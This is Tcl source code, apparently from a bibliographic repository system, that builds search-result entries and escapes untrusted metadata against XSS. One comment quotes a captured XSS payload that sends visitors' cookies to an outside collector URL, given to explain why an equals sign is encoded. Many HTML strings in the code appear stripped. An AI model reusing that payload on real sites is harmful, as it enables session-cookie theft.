by GJFB in 2018-06-08 - escape untrusted data - XSS prevention if [string equal {Film or Broadcast} $referenceType] { ConditionalSet year metadataArray(${rep-i},yearreleased) {} } else { ConditionalSet year metadataArray(${rep-i},year) {} } set year [EscapeUntrustedData $year] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention if {$i == 0} { if [info exists repositoryProperties($rep,authorhomepage)] { set authorHomePageRep $repositoryProperties($rep,authorhomepage) # regsub {([^,]*),} $author "\\1," author ;# commented by GJFB - cannot be relative; works with doc/mirrorsearch.cgi but doesn't with doc/mirror.cgi/Recent regsub {([^,]*),} $author "\\1," author } else { ConditionalSet resumeID metadataArray(${rep-i},resumeid) {} set resumeID [lindex $resumeID 0] set resumeID [EscapeUntrustedData $resumeID] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention if $standaloneModeFlag { regsub {([^,;]*)([,;])} $author {\1\2} author } else { ConditionalSet orcid metadataArray(${rep-i},orcid) {} set orcid [lindex $orcid 0] # if [string equal {} $orcid] # ;# commented by GJFB in 2024-07-08 if [string equal {} $resumeID] { ;# added by GJFB in 2024-07-08 # ConditionalSet resumeID metadataArray(${rep-i},resumeid) {} # set resumeID [lindex $resumeID 0] # if [string equal {} $resumeID] # ;# commented by GJFB in 2024-07-08 if [string equal {} $orcid] { ;# added by GJFB in 2024-07-08 regsub {([^,;]*)([,;])} $author {\1\2} author } else { ## resumeid # regsub {([^,]*),} $author "\\1," author ;# commented by GJFB in 2024-07-08 # orcid regsub {([^,]*),} $author "\\1," author ;# added by GJFB in 2024-07-08 } } else { ## orcid # regsub {([^,]*),} $author "\\1," author ;# commented by GJFB in 2024-07-08 # resumeid regsub {([^,]*),} $author "\\1," author ;# added by GJFB in 2024-07-08 } } ## >>> here it is assumed that the complete host name without domain doesn't contain any periods (.) # if {[string equal {} $resumeID] || ![regexp {\.} $localSite]} # if {[string equal {} $resumeID] || $standaloneModeFlag} { regsub {([^,;]*)([,;])} $author {\1\2} author } else { # Resume # regsub {([^,]*),} $author "\\1," author regsub {([^,]*),} $author "\\1," author } } } else { regsub {([^,;]*)([,;])} $author {\1\2} author } lappend output "
$author :$year:" # serverAddress2 regsub { +} $serverAddress {+} serverAddress2 # metadataLastUpdate set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) regsub -all { } $metadataLastUpdate {+} metadataLastUpdate2 regsub -all {=} $metadataLastUpdate2 {%3d} metadataLastUpdate2 ;# added by GJFB in 2019-04-30 - the symbol equal (=) must be converted to (%3d) otherwise the value of lastupdate attribute in query string is truncated - Example (case of a XSS attack in the year field): # 2019:05.01.02.32.27 dpi.inpe.br/banon/1999/01.09.22.14 banon {D {}} # -> 2019:05.01.02.32.27+dpi.inpe.br/banon/1999/01.09.22.14+banon+{D+{%3Cscript%3E+++document.write(%27%3Ciframe+width%3d1+height%3d1++src%3dhttp://www.coletor.com/rc.php?xss%3d%27+document.cookie.replace(/+/g,%27%27)+%27%3E%3C/iframe%3E%27)+%3C/script%3E}} set metadataLastUpdate2 [EscapeUntrustedData $metadataLastUpdate2] ;# added by GJFB in 2019-04-30 - the date may contain untrusted data ## requiredMetadataTimeStamp # set requiredMetadataTimeStamp [lindex $metadataLastUpdate 0] # requiredSite # set requiredSite $localSite ;# commented by GJFB in 2014-08-25 set requiredSite $serverAddress2 ;# added by GJFB in 2014-08-25 - sloves the virtual host case # title lappend output "" ConditionalSet title metadataArray(${rep-i},title) {} set title [EscapeUntrustedData $title] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention # regsub -all {\$} $title {\$} title ;# cr$30 -> cr\$30 regsub -all {""} $title {"} title ;# " # the two lines below are now in LoopOverEntries # regsub -all {\[} $title {\[} title # regsub -all {\]} $title {\]} title ;# [Cygine] -> \[Cygine\] - [Glycine max (L.) Merril] -> \[Glycine max (L.) Merril\] if [string equal {Newspaper} $referenceType] { ConditionalSet volume metadataArray(${rep-i},volume) {} set volume [EscapeUntrustedData $volume] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention ConditionalSet number metadataArray(${rep-i},number) {} set number [EscapeUntrustedData $number] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention if ![string equal {} $volume] { set volume [list "v° $volume"] } if ![string equal {} $number] { set number [list "n° $number"] } set vn [concat $volume $number] if ![string equal {} $vn] { set title "$title: [join $vn { - }]" } } if !$i { # i == 0 # size if [info exists metadataArray(${rep-i},size)] { set size [lindex $metadataArray(${rep-i},size) 0] if {$size <= 1} { set numberOfKbytes "$size \$Kbyte" } else { set numberOfKbytes "$size \$Kbytes" } # set numberOfKbytes " ($numberOfKbytes) " set numberOfKbytes "($numberOfKbytes)" } else { set size {} set numberOfKbytes " " } # start -- -r puts 0 in size ... set flag 1 if [info exists metadataArray(${rep-i},targetfile)] { # targetFile set targetFile $metadataArray(${rep-i},targetfile) set targetFile [EscapeUntrustedData $targetFile] ;# added by GJFB in 2018-06-08 - escape untrusted data - XSS prevention if [regexp "^$col" $targetFile] { # link to another repository set flag 0 } } else { set targetFile {} } # set targetFileExtension [file extension $targetFile] # numberOfFiles ConditionalSet numberOfFiles metadataArray(${rep-i},numberoffiles) {} # url ConditionalSet url metadataArray(${rep-i},url) {} ## textLanguage ## ConditionalSet textLanguage repositoryProperties($metadataRep,language) {} ;# metadata language ## regexp {\[(.*)\]} $textLanguage m textLanguage ;# English {[en]} -> en # ConditionalSet textLanguage metadataArray(${rep-i},textlanguage) {} ;# metadata language foreach {state} [ComputeVersionState $rep] {break} array set stateTable { {Registered Original} {Official} {Modified Original} {Modified} {Copy of an Original} {Copied} {Modified Copy of an Original} {Modified} {Unchecked} {Unchecked} } set state $stateTable($state) # set oldCode 1 ;# same as in GET # set oldCode 0 ;# same as in GET - added by GJFB in 2017-03-19 - commented by GJFB in 2017-11-25 set oldCode 1 ;# not the same as in GET - added by GJFB in 2017-11-25 in order to get the resume of id J8LNKB5R7W/3C8MGFP in both language # isJustReference set isJustReference [expr $flag && ([string equal {} $size] || [string equal {0} $size])] # puts $isJustReference if !$isJustReference { # not just a reference # set attachment yes # Compute color if 1 { # required code - not a redundant code foreach {state} [ComputeVersionState $rep] {break} array set stateTable { {Registered Original} {Official} {Modified Original} {Modified} {Copy of an Original} {Copied} {Modified Copy of an Original} {Modified} {Unchecked} {Unchecked} } } set state $stateTable($state) switch -exact -- $state { Modified { set color BROWN } Copied { set color BLUE } Official { set color BLUE } Unchecked { set color BLUE } } # Compute color - end # title # lappend output $targetValue if 0 { # display copyright if {[info exists repositoryProperties($rep,copyright)] && \ [TestContentType $rep {External Contribution}]} { set queryString {?displaycopyright=yes} } else { set queryString {} } lappend output "
\ $title" } else { # lappend output "
$title" ## lappend output "
$title" # localSite and mirror are used by Get for searching the same virtual collection and using the same css # lappend output "
$title" # lappend output "
$title" ;# added by GJFB in 2011-02-24 - now may open in a new tab # if {[regexp -nocase {^\.(jpg|bmp)$} $targetFileExtension] && $numberOfFiles > 2 && [string equal {Image} $referenceType]} # ## display gallery ## lappend output "
$title" ;# added by GJFB in 2012-06-24 ## lappend output "
$title" # lappend output "
$title" ;# ibiurl.language is alias for languagebutton # # else # ## lappend output "
$title" ;# added by GJFB in 2011-02-24 - now may open in a new tab ## lappend output "
$title" # lappend output "
$title" ;# ibiurl.language is alias for languagebutton - the string choice=brief has been introduced to avoid adding the search site in the menu bar of GET when choice is not brief # http://gjfb/rep/dpi.inpe.br/lise/2008/05.08.14.01?metadatarepository=dpi.inpe.br/lise/2008/05.08.14.01.21&ibiurl.language=pt-BR&ibiurl.requiredsite=gjfb&ibiurl.requiredtimestamp=2014:06.04.01.08.21&requiredmirror=dpi.inpe.br/banon/1999/06.19.17.00&searchsite=gjfb:80&searchmirror=dpi.inpe.br/banon/1999/06.19.17.00 # lappend output "
$title" ;# ibiurl.language is alias for languagebutton - added by GJFB in 2014-04-23, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata if $oldCode { # commented by GJFB in 2017-03-19 - uncommented by GJFB in 2017-11-25 # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2021-10-19 - commented by GJFB in 2022-06-13 if [string equal $identifier $childIdentifier] {set childIdentifier {}} ;# added y GJFB in 2022-06-13 to avoid the display of the green double click button # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2022-06-13 lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2023-06-09 lappend output "" } else { # added by GJFB in 2017-03-19 - commented by GJFB in 2017-11-25 # new code # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2021-10-19 } # # } } elseif {[regexp {^(Resume|Archival Unit)$} $referenceType]} { # Resume or Archival Unit set color BLUE # lappend output "
$title" # lappend output "
$title" # lappend output "
$title" ;# ibiurl.language is alias for languagebutton - the string choice=brief has been introduced to avoid adding the search site in the menu bar of GET when choice is not brief # lappend output "
$title" ;# ibiurl.language is alias for languagebutton - added by GJFB in 2014-04-23, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata if $oldCode { # commented by GJFB in 2017-03-19 - uncommented by GJFB in 2017-11-25 # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2021-10-19 - commented by GJFB in 2022-06-13 if [string equal $identifier $childIdentifier] {set childIdentifier {}} ;# added y GJFB in 2022-06-13 to avoid the display of the green double click button # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2022-06-13 lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2023-06-09 lappend output "" } else { # added by GJFB in 2017-03-19 - commented by GJFB in 2017-11-25 ## new code # lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata lappend output "
$title" ;# ibiurl.backgroundlanguage is alias for languagebutton - added by GJFB in 2014-06-08, choice=brief has been removed otherwise Get may display the following message: "MirrorGet error: brief choice is not supported" instead of metadata - added y GJFB in 2021-10-19 } } elseif {![string equal {} $url] && [string equal {Film or Broadcast} $referenceType]} { # url and just a reference and Film or Broadcast - used for acessing YouTube - added by GJFB in 2021-04-26 - ex: id QABCDSTQQW/44JCN82 set color BLUE lappend output "
$title" } else { lappend output "
$title" } } else { lappend output "
$title" } set type full regsub -all { } $keywords {+} keywords2 # metadata lappend output "" # full reference # append output2 "
\${full reference}" # append output2 "
\${full reference}" # append output2 "
\${full reference}" append output2 "
$translationTable(full reference)" # append output2 "
\${full reference}" # BibTeX # append output2 " (BibTeX" # append output2 " (BibTeX" # append output2 " (BibTeX" append output2 " (BibTeX" # domainName if 0 { # commented by GJFB in 2010-11-13 if [string equal {} $environmentArray(domainName)] { ## use mail (as in MakeRepository and StartApacheServer) # regexp {([^@]+)@(.+)} $environmentArray(spMailEntry) m user domainName # set domainName $domainName set domainName urlib.net ;# used by oai.tcl - changed by GJFB in 2010-08-18 } else { set domainName $environmentArray(domainName) ;# used by oai.tcl } } set domainName urlib.net ;# used by oai.tcl - added by GJFB in 2010-11-13 if {$i || ($isJustReference && ![regexp {^(Resume|Archival Unit)$} $referenceType])} { # Refer # append output2 " | Refer" # append output2 " | Refer" append output2 " ❘ Refer" # append output2 " | Refer" if {[info exists BibINPERepository] && [regexp {^(Journal Article|Book|Book Section|Edited Book|Newspaper|Newspaper Article|Conference Proceedings|Thesis|Report|Electronic Source|Audiovisual Material|Film or Broadcast|Misc|Archival Unit|Administrative Document)$} $referenceType]} { # BibINPE # How to cite? # append output2 " | BibINPE" # append output2 " | BibINPE" # append output2 " | BibINPE" ;# commented by GJFB in 2021-01-09 append output2 " ❘ ${translationTable(How to cite?)}" ;# added by GJFB in 2021-01-09 # append output2 " | BibINPE" } # XML # append output2 " | XML" # append output2 " | XML" append output2 " ❘ XML" # append output2 " | XML" if 0 { # time consuming in oai # xrefer append output2 " ❘ xrefer" # oai_dc append output2 " ❘ oai_dc)" } else { append output2 ")" } } else { # not just a reference # noAccessRestrictionFlag ConditionalSet readPermission metadataArray(${rep-i},readpermission) {} set noAccessRestrictionFlag [ComputeAccessRestrictionFlag $readPermission $remoteIp] # Refer # append output2 " | Refer" # append output2 " | Refer" append output2 " ❘ Refer" # append output2 " | Refer" if {[info exists BibINPERepository] && [regexp {^(Journal Article|Book|Book Section|Edited Book|Newspaper|Newspaper Article|Conference Proceedings|Thesis|Report|Electronic Source|Audiovisual Material|Film or Broadcast|Misc|Archival Unit|Administrative Document)$} $referenceType]} { # BibINPE # append output2 " | BibINPE" # append output2 " | BibINPE" # append output2 " | BibINPE" ;# commented by GJFB in 2021-01-09 append output2 " ❘ ${translationTable(How to cite?)}" ;# added by GJFB in 2021-01-09 # append output2 " | BibINPE" } # XML # append output2 " | XML" # append output2 " | XML" append output2 " ❘ XML" # append output2 " | XML" # if [info exists metadataArray(${rep-i},hostcollection)] # # if [ReturnState ${rep-i}] # ;# commented by GJFB in 2023-02-23 - now metadata of copies are considered # the document is an original # xrefer append output2 " ❘ xrefer" # append output2 " | xrefer" # oai_dc append output2 " ❘ oai_dc" # append output2 " | oai_dc" # mtd2-br requirements if {[info exists repositoryProperties(${MTD2-BRRepository},history)] && \ [string equal {Thesis} $referenceType] && \ [info exists metadataArray(${rep-i},abstract)] && \ ([regexp -nocase { abstract: } $metadataArray(${rep-i},abstract)] || [regexp -nocase { resumo: } $metadataArray(${rep-i},abstract)]) && \ $noAccessRestrictionFlag && \ [info exists metadataArray(${rep-i},committee)] && \ [info exists metadataArray(${rep-i},supervisor)] && \ [info exists metadataArray(${rep-i},year)] && \ [info exists metadataArray(${rep-i},secondarytype)] && \ [string equal {TDI} $metadataArray(${rep-i},secondarytype)] && \ [info exists metadataArray(${rep-i},thesistype)] && \ [regexp {Mestrado|Doutorado} $metadataArray(${rep-i},thesistype)] && \ [info exists metadataArray(${rep-i},size)] && \ ![string equal {0} $metadataArray(${rep-i},size)] && \ [info exists metadataArray(${rep-i},language)] && \ [regexp {^...?$} $metadataArray(${rep-i},language)] && \ [info exists metadataArray(${rep-i},date)] && \ [regexp {^\d{4,}-\d{2}-\d{2}$|^\d{4,}-\d{2}$} $metadataArray(${rep-i},date)]} { # mtd2-br append output2 " ❘ mtd2-br" # append output2 " | mtd2-br" } # # ;# commented by GJFB in 2023-02-23 - now metadata of copies are considered # Cover # append output2 " | \${cover})" ## append output2 " | \${cover})" # append output2 " | $translationTable(cover))" append output2 " ❘ $translationTable(cover))" # mirrorRepository if [info exists metadataArray(${rep-i},mirrorrepository)] { set mirrorRepository $metadataArray(${rep-i},mirrorrepository) } # review if {[info exists mirrorRepository] && \ [string equal $mirrorRepository $mirrorRep] && \ [info exists metadataArray(${rep-i},childrepositories)] && \ [info exists environmentArray($mirrorRep,displayReviewButton)] && \ $environmentArray($mirrorRep,displayReviewButton)} { # set mirrorRepository $metadataArray(${rep-i},mirrorrepository) ;# commented by GJFB in 2022-02-11 - already set above set childRepositories $metadataArray(${rep-i},childrepositories) set reviewButton [CreateReviewButton ${rep-i} $rep $mirrorRepository $childRepositories $window] if ![string equal {} $reviewButton] { append output2 " ❘ $reviewButton" } } } # repositoryLanguage if [info exists repositoryProperties($metadataRep,language)] { set repositoryLanguage " - $repositoryProperties($metadataRep,language)" regsub -all {[;.]} $repositoryLanguage {} repositoryLanguage ;# English pt; fr; en. -> pt fr en - added by GJFB in 2015-02-06 regexp {\[(.*)\]} $repositoryLanguage m repositoryLanguage ;# English {[en]} -> en set repositoryLanguage " ($repositoryLanguage)" } else { set repositoryLanguage {} } append output2 $repositoryLanguage lappend output $output2 if !$i { # URL, repository, size and statistics set output2 {} if !$isJustReference { # not just a reference lappend output "" # URL, repository, size and statistics # append output2 "
<\;
$rep
>\; ${numberOfKbytes} $translationTable(statistics)" # append output2 "
<\;$rep>\; ${numberOfKbytes} $translationTable(statistics)" ;# commented by GJFB in 2023-07-16 if {![string equal {} $staticIPFlag] && $staticIPFlag} {set serverName urlib.net} else {set serverName $localSite} ;# added by GJFB in 2023-07-16 - if the communication with urlib.net fails then staticIPFlag value is set to empty # append output2 "
URL <\;$rep>\; ${numberOfKbytes} $translationTable(statistics)" ;# added by GJFB in 2023-07-16 to display the word URL - commented by GJFB in 2024-08-25 append output2 "
[expr [string equal {} $identifier]?{}:{URL}] <\;$rep>\; ${numberOfKbytes} $translationTable(statistics)" ;# added by GJFB in 2024-08-25 to display the word URL only if identifier exists # access if {1 || ![string equal {Archival Unit} $referenceType]} { ;# 1 added by GJFB in 2022-04-26 - some Archival Unit might contain a file (@archivistWarning.html); to see it the access button must appear (updating the record is required to allow the access button display) if [string equal $loCoInRep $rep] { append output2 " ❘ $translationTable(access)" } else { # append output2 " | $translationTable(access)" append output2 " ❘ $translationTable(access)" ;# added by GJFB in 2018-01-27 } } # download if {$noAccessRestrictionFlag && ![string equal $loCoInRep $rep]} { # append output2 " | $translationTable(download)" ;# commented by GJFB in 2021-01-09 append output2 " ❘ $translationTable(download)" ;# added by GJFB in 2021-01-09 } ## export set | 0 ;# see incr | below } elseif {[regexp {^(Resume|Archival Unit)$} $referenceType]} { lappend output "" # repository and statistics # append output2 "
<\;
$rep
>\; $translationTable(statistics)" append output2 "
<\;$rep>\; $translationTable(statistics)" # access if {!([string equal {} $size] || [string equal {0} $size])} { # both links below are valid # append output2 " | $translationTable(access)" append output2 " ❘ $translationTable(access)" } set | 0 ;# see incr | below } else { # just a reference lappend output "" # repository # append output2 "
<\;
$rep
>\;" append output2 "
<\;$rep>\;" set | -1 ;# see incr | below } # export # if [regexp Official $state] <<< SOMETIMES THIS DOESN'T WORK (tcl 8.3 for Windows) # if {[string compare Official $state] == 0 || \ # [string compare AllowDownload $state] == 0} if ![string equal Modified $state] { set currentDownloadPermission [FindCurrentDownloadPermission $rep] if ![string equal $currentDownloadPermission {deny from all}] { # if [file exists $homePath/col/$rep/download/doc.zip] { # display export # append output2 " | $translationTable(export)" # append output2 " | $translationTable(export)" # append output2 " [expr [incr |]?{|}:{}] $translationTable(export)" ;# commented by GJFB in 2021-06-20 append output2 " [expr [incr |]?{❘\;}:{}] $translationTable(export)" ;# added by GJFB in 2021-06-20 # } } } # update # in order to get the update word, the client ip must match the permissionList # in displayControl.tcl. The client ip is the value of the env parameter REMOTE_ADDR # any changes require reloading of the corresponding mirror repository set testForUpdate [TestForUpdate $mirrorRep $remoteIp ${rep-i} $rep] if $testForUpdate { # display update/retrieve if [file isdirectory $homePath/col/$pythonCgiScriptForHistoryCaptureRepository] { # retrieve for history capture - Juliana's work ## target file # ConditionalSet targetFile metadataArray(${rep-i},targetfile) {} ## source repositories for history capture - Juliana's work # ConditionalSet sourceRepositories metadataArray(${rep-i},sourcerepositories) {} # append output2 " | \${retrieve}" # append output2 " | \${retrieve}" # append output2 " | \${retrieve}" # append output2 "\[Substitute \[concat | \\\${retrieve}\]\]" if 0 { # the line below is out-of-date (see hermes.dpi.inpe.br:1910)- by GJFB in 2011-05-16 append output2 "\[Substitute \[concat | $translationTable(retrieve)\]\]" } } set userName $metadataArray(${rep-i},username) if [string equal {yes} $includeReturnAddress] { # include return address # append output2 " | $translationTable(update)" # append output2 " | $translationTable(update)" ;# commented by GJFB in 2013-02-16 # append output2 " [expr [incr |]?{|}:{}] $translationTable(update)" ;# added by GJFB in 2013-02-16 - metadatarepository added in order for CreateMirror to work with the proper metadata # append output2 " [expr [incr |]?{|}:{}] $translationTable(update)" ;# added by GJFB in 2020-06-19 - requestURI and display are loaded in LoopOverEntries - display value is set in mirrorsearch.tcl considering that the target frame must be relative to the bibliographic mirror responsible for the search - commented by GJFB in 2023-11-16 append output2 " [expr [incr |]?{❘\;}:{}] $translationTable(update)" ;# added by GJFB in 2023-11-16 - forcehistorybackflag added to get the green return button displayed # append output2 " --\$env(SERVER_NAME):\$env(SERVER_PORT)-- --$localSite-- \[\[expr \[\[string equal \[\[regsub {.*?\[\[.:\]\]} \$env(SERVER_NAME):\$env(SERVER_PORT) {}\]\] \[\[regsub {.*?\[\[.:\]\]} $localSite {}\]\]\]\]\]\]" append output2 " \[\[expr \[\[string equal \[\[regsub {.*?\[\[.:\]\]} \[\[regsub {:80$} \$env(SERVER_NAME):\$env(SERVER_PORT) {}\]\] {}\]\] \[\[regsub {.*?\[\[.:\]\]} $localSite {}\]\]\]\]?{}:{+}\]\]" ;# added by GJFB in 2021-05-28 - useful to allow the automatic filling of the password field in case of third-party cookies (in this case Chrome blocks the cookies) } else { # don't include return address # used with the copy button # used by GetSearchResult # append output2 " | $translationTable(update)" append output2 " [expr [incr |]?{❘\;}:{}] $translationTable(update)" } } if [TestContentType $rep {Template} $homePath] { # template ConditionalSet mirrorRep2 mirrorRepository $mirrorRep append output2 " ❘ $translationTable(duplicate)" } # related set relatedLink [ComputeRelatedLink ${rep-i} $languageRepository $hideSimilarButton related brief] if ![string equal {} $relatedLink] { append output2 " ❘ $relatedLink" } if ![string equal {} $output2] {lappend output $output2} # ePrint and conference proceedings submission options if $testForUpdate { # display update # if ![file isdirectory $homePath/col/$pythonCgiScriptForHistoryCaptureRepository] # if [string equal {Electronic Source} $referenceType] { # ePrint if [string equal {} $year] { # not a closed ePrint lappend output "" set output2 {} # Your work has been published? append output2 "
$translationTable(Your work has been published? Select the vehicle type) >" if [string equal {yes} $includeReturnAddress] { # include return address # updateoption=add append output2 " $translationTable(Book Section)" append output2 " ❘ $translationTable(Journal Article)" append output2 " ❘ $translationTable(Conference Proceedings)" # set author [join $metadataArray(${rep-i},author) {%0D%0A}] # regsub -all { } $author {+} author # regsub -all {,} $author {%2C} author ## example: author => &_A_author=Banon%2C+Lise+Christine%0D%0ABanon%2C+Gabriela+Paola+Ribeiro # append output2 " | Conference Proceedings)" } else { # don't include return address # used with the copy button # used by GetSearchResult # updateoption=add append output2 "
($translationTable(Book Section)" append output2 " ❘ $translationTable(Journal Article)" append output2 " ❘ $translationTable(Conference Proceedings))" } lappend output $output2 } } # if {[string equal {Conference Proceedings} $referenceType] && \ # ![info exists metadataArray(${rep-i},nextedition)]} # ;# commented by GJFB in 2021-08-30 regexp {.+/.+/(.+/..\...)} $rep m time if {[string equal {Conference Proceedings} $referenceType] && \ ![expr ([clock seconds] - [clock scan $time -format %Y/%m.%d])/31536000] && \ $testForUpdate} { # recent (less than one year old) Conference Proceedings # Create referencetypeList # by GJFB in 2022-02-12 # code similar to the one in Get set searchExpression "nexthigherunit $identifier" set query [list list GetMetadataRepositories {} 0 $searchExpression yes yes 1] set searchResultList [MultipleExecute {} $query] ;# => urlib.net/www/2022/02.12.03.46-0 set referencetypeList {} foreach searchResult $searchResultList { SetFieldValue $serverAddress $searchResult {referencetype} lappend referencetypeList $referencetype } # lappend output $referencetypeList # Create referencetypeList - end set output2 {} # Do you have a supplementary material? - added by GJFB in 2021-08-30 append output2 "
$translationTable(Do you have a supplementary material? Submit it) >" # deposit=yes added by GJFB in 2020-12-07 for coding simplification set referenceTypeList {{Film or Broadcast} {Audiovisual Material} {Data} {Misc}} set {referenceTypeXnameValueArray(Film or Broadcast)} {_C_city= _D_yearreleased= _I_distributor= _8_datereleased= _J_alternatetitle=} ;# added by GJFB in 2022-09-09 to leave these fields empty when opening the submission form set {referenceTypeXnameValueArray(Audiovisual Material)} {} set {referenceTypeXnameValueArray(Data)} {_B_observationtypes= _8_time= _C_city=} ;# added by GJFB in 2022-09-09 to leave these fields empty when opening the submission form set {referenceTypeXnameValueArray(Audiovisual Material)} {} set {referenceTypeXnameValueArray(Misc)} {_C_city=} ;# added by GJFB in 2022-09-09 to leave this field empty when opening the submission form set {referenceTypeXnameValueArray(Audiovisual Material)} {} array set referenceTypeArray {{Film or Broadcast} Video {Audiovisual Material} Slides {Data} Data {Misc} Other} foreach ref $referenceTypeList { if {[lsearch -exact $referencetypeList $ref] != -1} {continue} regsub -all { +} $ref {+} ref2 set nameValueList " languagebutton=\$language referencetype=$ref2 sourcereferencetype=Conference+Proceedings updateoption=add __nexthigherunit_nexthigherunit=$identifier __shorttitle_shorttitle=$translationTable($referenceTypeArray($ref)) __tertiarytype_tertiarytype= requiredmirror=$mirrorRep deposit=yes " set nameValueList [concat $nameValueList $referenceTypeXnameValueArray($ref)] if [string equal {yes} $includeReturnAddress] { # include return address # updateoption=add set nameValueList2 " lastupdate=$metadataLastUpdate2 returnbutton=\$cgi(returnbutton) targetframe=\$display returnaddress=http://\$localSite\$requestURI " set nameValueList [concat $nameValueList $nameValueList2] # append output2 " $translationTable($referenceTypeArray($ref)), " ;# commented by GJFB in 2022-09-09 } else { # don't include return address # used with the copy button # used by GetSearchResult # updateoption=add # append output2 " $translationTable($referenceTypeArray($ref))" ;# commented by GJFB in 2022-09-09 } append output2 " $translationTable($referenceTypeArray($ref)), " ;# added by GJFB in 2022-09-09 } lappend output $output2 } # } } # return "[join $output]
" lappend output {$siteList2} # lappend output

if 1 { # if {[string equal {Image} $referenceType] && \ ![string equal {} $targetFile] && \ [Eval file isdirectory $homePath/col/$rep/images]} # ;# commented by GJFB in 2012-09-22 if {[string equal {Image} $referenceType] && \ ![string equal {} $targetFile] && \ [file isdirectory $homePath/col/$rep/images]} { set targetFileExtension [file extension $targetFile] lappend output "\ 		\ \ \ \ " } } lappend output
return [list $metadataLastUpdate $output] } # CreateBriefEntry - end # ---------------------------------------------------------------------- # CreateBriefTitleAuthorEntry # path example: ../ # linkType values are 0, 1, ..., 10 # 0 is for absolute link with col (default) # 1 is for absolute link with rep # 2 is for absolute link with rep- # 3 is for relative link with ../../../../.. # 4 is for relative link with ../../../../../../col # 5 is for relative link with goto # 6 is for relative link with goto- # 7 is for no link # 8 is for absolute link http://urlib.net/ # 9 is for absolute link http://urlib.net/rep/ # 10 is for absolute link to thisInformationItemHomePage.html # misc (called outputFormat at calling) is 0, 1, affiliation, ref-year-cite or year-cite # 0 means to display title and author (choice == briefTitleAuthor) # 1 (default) means to display title, author, username, update # affiliation means to display title, author and affiliation # ref-year-cite means to display title, author, reference type, year, (restricted access), how to cite, BibTeX, access, (update), (similars) # year-cite means to display title, author, year, how to cite # metadata-id means to display the metadata link and the identifier # misc may also be a list of field names (including the names: update, size, tertiarymark, fulltext, referencetype, repository, identifier, rankingmenu and checkbox) # for example: # {e-mailaddress abstract} means to display title, author, e-mailaddress and abstract # (updating of this description of misc, must be also be made in the default displayControl.tcl in dpi.inpe.br/banon/2000/01.23.20.24) # targetValue is for example _blank, _self, ... # includeReturnAddress value is yes or no; set in GetSearchResult (see update link) # nameFormat value is short, familynamefirst or familynamelast # nameSeparator value is a string like {; } or {
} # similarity is the value of the similarity # originalRepForSimilarity value is a rep-i or empty # imageFlag value is 0 or 1; 1 means to display the thumbnail (if any) # see procedure DisplayMultipleSearch for an EXAMPLE of sequence of calls after pressing the Run button which leads to the execution of CreateBriefTitleAuthorEntry proc CreateBriefTitleAuthorEntry { rep-i path mirrorRep misc page linkType targetValue includeReturnAddress nameFormat nameSeparator {languageRepository {}} {hideSimilarButton {}} {similarity {}} {originalRepForSimilarity {}} {imageFlag 1} {searchInputValue {}} {childIdentifier {}} {forceRecentFlag 0} {forceHistoryBackFlag 1} } { global metadataArray global loBiMiRep global homePath global col global localSite global serverAddress global serverAddressWithIP global multipleLineFieldNameList global ${languageRepository}::translationTable ;# switch to the appropriate language - set in mirror/xxSearchResult.tcl, mirror/xxReferenceTypeName.tcl and xxFillingInstructions.tcl (where xx is en, pt-BR, ...) # set misc affiliation ;# testing # set xxx [CallTrace] # Store xxx C:/tmp/bbb.txt auto 0 a ;# safeFlag must be set to 0 in CreateTclPage in order to use the Store command # searchInputValue2 regsub -all { } [string trimright $searchInputValue] {+} searchInputValue2 ;# added by GJFB in 2022-06-13 if [string equal {0} $misc] { # briefTitleAuthor set misc {} } elseif {[string equal {1} $misc]} { # 